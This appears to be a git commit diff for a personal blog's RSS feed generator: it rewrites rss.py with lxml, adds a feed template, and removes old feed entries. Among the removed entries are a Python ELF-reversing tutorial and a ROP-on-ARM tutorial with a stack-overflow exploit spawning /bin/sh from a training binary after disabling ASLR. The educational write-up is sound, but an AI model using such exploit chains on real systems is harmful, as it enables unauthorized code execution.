yes!\n"); + printf("haha yes!\n"); } else { - printf("nah dude\n"); + printf("nah dude\n"); } } -</code></pre> +</code></pre> -<p>Compile it with GCC/Clang:</p> +<p>Compile it with GCC/Clang:</p> -<pre><code>$ gcc chall.c -o chall.elf -</code></pre> +<pre><code>$ gcc chall.c -o chall.elf +</code></pre> -<h3 id="scripting">Scripting</h3> +<h3 id="scripting">Scripting</h3> -<p>For starters, let’s look at the different sections present in the binary.</p> +<p>For starters, let’s look at the different sections present in the binary.</p> -<pre><code># sections.py +<pre><code># sections.py from elftools.elf.elffile import ELFFile -with open('./chall.elf', 'rb') as f: +with open('./chall.elf', 'rb') as f: e = ELFFile(f) for section in e.iter_sections(): - print(hex(section['sh_addr']), section.name) -</code></pre> + print(hex(section['sh_addr']), section.name) +</code></pre> -<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p> +<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p> -<pre><code>› python sections.py +<pre><code>› python sections.py 0x238 .interp 0x254 .note.ABI-tag 0x274 .note.gnu.build-id@@ -323,30 +576,30 @@ 0x0 .comment
0x0 .symtab 0x0 .strtab 0x0 .shstrtab -</code></pre> +</code></pre> -<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p> +<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p> -<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p> +<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p> -<pre><code># disas1.py +<pre><code># disas1.py from elftools.elf.elffile import ELFFile from capstone import * -with open('./bin.elf', 'rb') as f: +with open('./bin.elf', 'rb') as f: elf = ELFFile(f) - code = elf.get_section_by_name('.text') + code = elf.get_section_by_name('.text') ops = code.data() - addr = code['sh_addr'] + addr = code['sh_addr'] md = Cs(CS_ARCH_X86, CS_MODE_64) for i in md.disasm(ops, addr): - print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') -</code></pre> + print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') +</code></pre> -<p>The code is fairly straightforward (I think). We should be seeing this, on running</p> +<p>The code is fairly straightforward (I think). We should be seeing this, on running</p> -<pre><code>› python disas1.py | less +<pre><code>› python disas1.py | less 0x6a0: xor ebp, ebp 0x6a2: mov r9, rdx 0x6a5: pop rsi@@ -360,39 +613,39 @@ 0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]** 0x6ca: hlt ... snip ... -</code></pre> +</code></pre> -<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p> +<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p> -<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p> +<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p> -<blockquote> - <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p> -</blockquote> +<blockquote> + <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p> +</blockquote> -<p>To try and find these relocation entries, we write a third script.</p> +<p>To try and find these relocation entries, we write a third script.</p> -<pre><code># relocations.py +<pre><code># relocations.py import sys from elftools.elf.elffile import ELFFile from elftools.elf.relocation import RelocationSection -with open('./chall.elf', 'rb') as f: +with open('./chall.elf', 'rb') as f: e = ELFFile(f) for section in e.iter_sections(): if isinstance(section, RelocationSection): - print(f'{section.name}:') - symbol_table = e.get_section(section['sh_link']) + print(f'{section.name}:') + symbol_table = e.get_section(section['sh_link']) for relocation in section.iter_relocations(): - symbol = symbol_table.get_symbol(relocation['r_info_sym']) - addr = hex(relocation['r_offset']) - print(f'{symbol.name} {addr}') -</code></pre> + symbol = symbol_table.get_symbol(relocation['r_info_sym']) + addr = hex(relocation['r_offset']) + print(f'{symbol.name} {addr}') +</code></pre> -<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p> +<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p> -<pre><code>› python relocations.py +<pre><code>› python relocations.py .rela.dyn: 0x200d98 0x200da0@@ -409,27 +662,27 @@ printf 0x200fb8
fgets 0x200fc0 strcmp 0x200fc8 malloc 0x200fd0 -</code></pre> +</code></pre> -<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p> +<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p> -<blockquote> - <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p> -</blockquote> +<blockquote> + <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p> +</blockquote> -<p>And its definition is like so</p> +<p>And its definition is like so</p> -<pre><code>int __libc_start_main(int *(main) (int, char * *, char * *), +<pre><code>int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); -</code></pre> +</code></pre> -<p>Looking back at our disassembly</p> +<p>Looking back at our disassembly</p> -<pre><code>0x6a0: xor ebp, ebp +<pre><code>0x6a0: xor ebp, ebp 0x6a2: mov r9, rdx 0x6a5: pop rsi 0x6a6: mov rdx, rsp@@ -442,31 +695,31 @@ **0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916] 0x6ca: hlt ... snip ... -</code></pre> +</code></pre> -<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p> +<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p> -<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p> +<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p> -<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p> +<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p> -<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p> +<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p> -<pre><code>printf 0x650 +<pre><code>printf 0x650 fgets 0x660 strcmp 0x670 malloc 0x680 -</code></pre> +</code></pre> -<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p> +<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p> -<pre><code>0x7b2: mov edi, 0xa ; 10 +<pre><code>0x7b2: mov edi, 0xa ; 10 0x7b7: call 0x680 ; malloc -</code></pre> +</code></pre> -<p>The loop to populate the <code>*pw</code> string</p> +<p>The loop to populate the <code>*pw</code> string</p> -<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14] +<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14] 0x7d3: cdqe 0x7d5: lea rdx, [rax - 1] 0x7d9: mov rax, qword ptr [rbp - 0x10]@@ -482,316 +735,34 @@ 0x7f5: mov byte ptr [rax], dl
0x7f7: add dword ptr [rbp - 0x14], 1 0x7fb: cmp dword ptr [rbp - 0x14], 8 0x7ff: jle 0x7d0 -</code></pre> +</code></pre> -<p>And this looks like our <code>strcmp()</code></p> +<p>And this looks like our <code>strcmp()</code></p> -<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in +<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in 0x847: mov rax, qword ptr [rbp - 8] ; *pw 0x84b: mov rsi, rdx 0x84e: mov rdi, rax 0x851: call 0x670 ; strcmp 0x856: test eax, eax ; is = 0? 0x858: jne 0x868 ; no? jump to 0x868 -0x85a: lea rdi, [rip + 0xae] ; "haha yes!" +0x85a: lea rdi, [rip + 0xae] ; "haha yes!" 0x861: call 0x640 ; puts 0x866: jmp 0x874 -0x868: lea rdi, [rip + 0xaa] ; "nah dude" +0x868: lea rdi, [rip + 0xaa] ; "nah dude" 0x86f: call 0x640 ; puts -</code></pre> - -<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p> - -<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p> - -<h3 id="conclusion">Conclusion</h3> - -<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p> - -<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p> - -<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p> -</description> - <pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate> - <guid>https://icyphox.sh/blog/python-for-re-1/</guid> -</item> -<item> - <title>My Setup</title> - <link>https://icyphox.sh/blog/my-setup</link> - <description><h1 id="my-setup">My Setup</h1> - -<h2 id="my-daily-drivers-hardware-and-software">My daily drivers — hardware and software</h2> - -<h3 id="hardware">Hardware</h3> - -<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, -8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p> - -<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. -I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p> - -<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p> - -<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. -For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p> - -<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. -Great pair of headphones, although the ear cups need replacing.</p> - -<h3 id="and-the-software">And the software</h3> - -<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric -window manager, all riced. I now use whatever JustWorks™.</del></p> - -<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install, -running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p> - -<p>Here’s a (riced) screenshot of my desktop. </p> - -<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p> - -<p>Most of my work is done in either the browser, or the terminal. -My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need -a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>. -My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above. -I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p> - -<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace -clean and a single command to drop into a Kali shell.</p> - -<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>. -The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p> - -<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p> -</description> - <pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate> - <guid>https://icyphox.sh/blog/my-setup/</guid> -</item> -<item> - <title>Return Oriented Programming on ARM (32-bit)</title> - <link>https://icyphox.sh/blog/rop-on-arm/</link> - <description><h1 id="return-oriented-programming-on-arm-32-bit">Return Oriented Programming on ARM (32-bit)</h1> - - -<h2 id="making-stack-based-exploitation-great-again">Making stack-based exploitation great again!</h2> - -<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM -assembly to follow along. I highly recommend -<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly -Basics</a>. Once you’re -comfortable with it, proceed with the next bit — environment setup.</p> - -<h3 id="setup">Setup</h3> - -<p>Since we’re working with the ARM architecture, there are two options to go -forth with: </p> - -<ol> -<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. -And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>. -The scripts found inside should be self-explanatory.</li> -<li>Use actual ARM hardware, like an RPi.</li> -</ol> - -<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you -may use <code>radare2</code>, IDA or anything else, really. All of which can be -trivially installed.</p> - -<p>And for the sake of simplicity, disable ASLR:</p> - -<pre><code>$ echo 0 &gt; /proc/sys/kernel/randomize_va_space -</code></pre> - -<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a> -<a href="/static/files/roplevel2.c">roplevel2</a>. </p> +</code></pre> -<p>Compile it:</p> +<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p> -<pre><code>$ gcc roplevel2.c -o rop2 -</code></pre> +<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p> -<p>With that out of the way, here’s a quick run down of what ROP actually is.</p> +<h3 id="conclusion">Conclusion</h3> -<h3 id="a-primer-on-rop">A primer on ROP</h3> +<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p> -<p>ROP or Return Oriented Programming is a modern exploitation technique that’s -used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>. -In essence, no code in the binary is actually modified and the entire exploit -is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p> +<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p> -<p>A gadget is essentially a small sequence of code (instructions), ending with -a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM -code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>. -These gadgets are <em>chained</em> together by jumping (returning) from one onto the other -to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain, -there’s generally a call to <code>system()</code>, to acheive code execution.</p> - -<p>In practice, the process of executing a ropchain is something like this:</p> - -<ul> -<li>confirm the existence of a stack-based buffer overflow</li> -<li>identify the offset at which the instruction pointer gets overwritten</li> -<li>locate the addresses of the gadgets you wish to use</li> -<li>craft your input keeping in mind the stack’s layout, and chain the addresses -of your gadgets</li> -</ul> - -<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. -Check it out, it might be just what you needed for that “aha!” moment :)</p> - -<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully -that should put things into perspective.</p> - -<h3 id="exploring-our-binary">Exploring our binary</h3> - -<p>Start by running it, and entering any arbitrary string. On entering a fairly -large string, say, “A” × 20, we -see a segmentation fault occur.</p> - -<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p> - -<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p> - -<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p> - -<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and -<code>gadget</code>. Disassembling the <code>main</code> function:</p> - -<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p> - -<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls -to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are -never actually called.</p> - -<p>Disassembling the <code>gadget</code> function:</p> - -<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p> - -<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>, -which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code> -instruction in the middle. This is a <strong>gadget</strong>.</p> - -<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where -arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code> -are used for this. So this gadget effectively allows us to pass arguments to -functions using <code>r0</code>, and subsequently jumping to them by passing its address -in <code>pc</code>. Neat.</p> - -<p>Moving on to the disassembly of the <code>winner</code> function:</p> - -<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p> - -<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>. -So our end goal here is to, quite obviously, execute code via the <code>system()</code> -function.</p> - -<p>Now that we have an overview of what’s in the binary, let’s formulate a method -of exploitation by messing around with inputs.</p> - -<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3> - -<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the -screenshot.</p> - -<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p> - -<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice -the <code>pc</code> has been overwritten with our input. -So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p> - -<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now -control program execution flow. Let’s try jumping to the <code>winner</code> function.</p> - -<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset -of the second instruction — <code>add r11, sp, #4</code>. -For this, we’ll use Python to print our input string replacing <code>FFFF</code> with -the address of <code>winner</code>. Note the endianness.</p> - -<pre><code>$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 -</code></pre> - -<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p> - -<p>The reason we don’t jump to the first instruction is because we want to control the stack -ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code> -those out after <code>winner</code> is done executing and we will no longer control -where it jumps to.</p> - -<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. -But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument -to do what we want (run a command, execute a shell, etc.).</p> - -<p>To do that, we’ll follow a multi-step process: </p> - -<ol> -<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li> -<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into -<code>r0</code>.</li> -<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li> -</ol> - -<p>The pseudo-code is something like this:</p> - -<pre><code>string = AAAABBBBCCCCDDDDEEEE -gadget = # addr of gadget -binsh = # addr of /bin/sh -system = # addr of system() - -print(string + gadget + binsh + system) -</code></pre> - -<p>Clean and mean.</p> - -<h3 id="the-exploit">The exploit</h3> - -<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>. -It allows us to pack the bytes of addresses to the endianness of our choice. -It probably does a lot more, but who cares.</p> - -<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint -at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p> - -<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh" -</code></pre> - -<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p> - -<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be -found from the disassmblies from earlier. Here’s the final exploit code:</p> - -<pre><code>import struct - -binsh = struct.pack("I", 0xb6f85588) -string = "AAAABBBBCCCCDDDDEEEE" -gadget = struct.pack("I", 0x00010550) -system = struct.pack("I", 0x00010538) - -print(string + gadget + binsh + system) - -</code></pre> - -<p>Honestly, not too far off from our pseudo-code :)</p> - -<p>Let’s see it in action:</p> - -<p><img src="/static/img/the_shell.png" alt="the shell!" /></p> - -<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates -when the pipe closes, since there’s no input coming in from STDIN. -To get around this, we use <code>cat(1)</code> which allows us to relay input through it -to the shell. Nifty trick.</p> - -<h3 id="conclusion">Conclusion</h3> - -<p>This was a fairly basic challenge, with everything laid out conveniently. -Actual ropchaining is a little more involved, with a lot more gadgets to be chained -to acheive code execution.</p> - -<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p> -</description> - <pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate> - <guid>https://icyphox.sh/blog/rop-on-arm/</guid> -</item> - - </channel> -</rss> +<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p> +]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel> +</rss>
M
rss.py
→
rss.py
@@ -2,33 +2,72 @@ #!/usr/bin/env python3
# generate an rss item import html -from markdown2 import markdown_path +from markdown2 import markdown import sys -import datetime import os +from collections import namedtuple +import re +import arrow +import operator +import warnings + +warnings.simplefilter("ignore", arrow.factory.ArrowParseWarning) +items_raw = [] +from lxml import etree as ET + + +def convert_date(d): + return arrow.get(d, "YYYY-MM-DD").format("ddd, DD MMM YYYY HH:mm:ss Z") + + +PREFIX_URL = "https://icyphox.sh/blog/" +link_extractor = re.compile("\/([^\/]*)\.md$") + +def generate_node(rendered, path): -try: - mdfile = sys.argv[1] -except IndexError: - print('error: specify path to markdown file') - sys.exit(-1) -url = os.path.splitext(mdfile)[0] -rendered = markdown_path(mdfile, extras=['metadata', - 'fenced-code-blocks', 'header-ids', 'footnotes', 'smarty-pants']) -meta = rendered.metadata -esc = html.escape(rendered) + item = ET.Element("item") + title = ET.SubElement(item, "title") + title.text = rendered.metadata["title"] + description = ET.SubElement(item, "description") + description.text = ET.CDATA(str(rendered)) + link = ET.SubElement(item, "link") + link.text = PREFIX_URL + link_extractor.search(path).group(1) + pubData = ET.SubElement(item, "pubDate") + pubData.text = convert_date(rendered.metadata["date"]) + guid = ET.SubElement(item, "guid") + guid.text = PREFIX_URL + link_extractor.search(path).group(1) + + return item + + +def parse_article(path): + with open(path) as f: + rendered = markdown( + f.read(), + extras=[ + "metadata", + "fenced-code-blocks", + "header-ids", + "footnotes", + "smarty-pants", + ], + ) + return (arrow.get(rendered.metadata["date"]), rendered, path) + + +tree = ET.parse(os.path.join("templates", "feed.xml")) +articles = [] + +for f in os.listdir("pages/blog/"): + if f not in ["_index.md", "feed.xml"]: + articles.append(parse_article(os.path.join("pages/blog", f))) -# time stuff -dt = datetime.datetime.strptime(meta['date'], '%Y-%m-%d').date() -rfc822 = dt.strftime("%a, %d %b %Y %H:%M:%S %z") + '+0000' +articles.sort(key=operator.itemgetter(0), reverse=True) +chan = tree.find("channel") -item = f"""<item> - <title>{meta['title']}</title> - <link>https://icyphox.sh/blog/{url}</link> - <description>{esc}</description> - <pubDate>{rfc822}</pubDate> - <guid>https://icyphox.sh/blog/{url}/</guid> -</item> -""" +for article in articles: + chan.append(generate_node(article[1], article[2])) -print(item) +out = ET.tostring(tree, encoding="unicode") +with open("pages/blog/feed.xml", "w") as f: + f.write(out)
A
templates/feed.xml
@@ -0,0 +1,16 @@
+<?xml version='1.0' encoding='UTF-8'?> +<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0"> + <channel> + <title>icyphox's blog</title> + <link>https://icyphox.sh/blog/</link> + <description>icyphox's blog</description> + <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/> + <image> + <title>icyphox logo</title> + <url>https://icyphox.sh/icyphox.png</url> + <link>https://icyphox.sh/blog/</link> + </image> + <language>en-us</language> + <copyright>Creative Commons BY-NC-SA 4.0</copyright> + </channel> +</rss>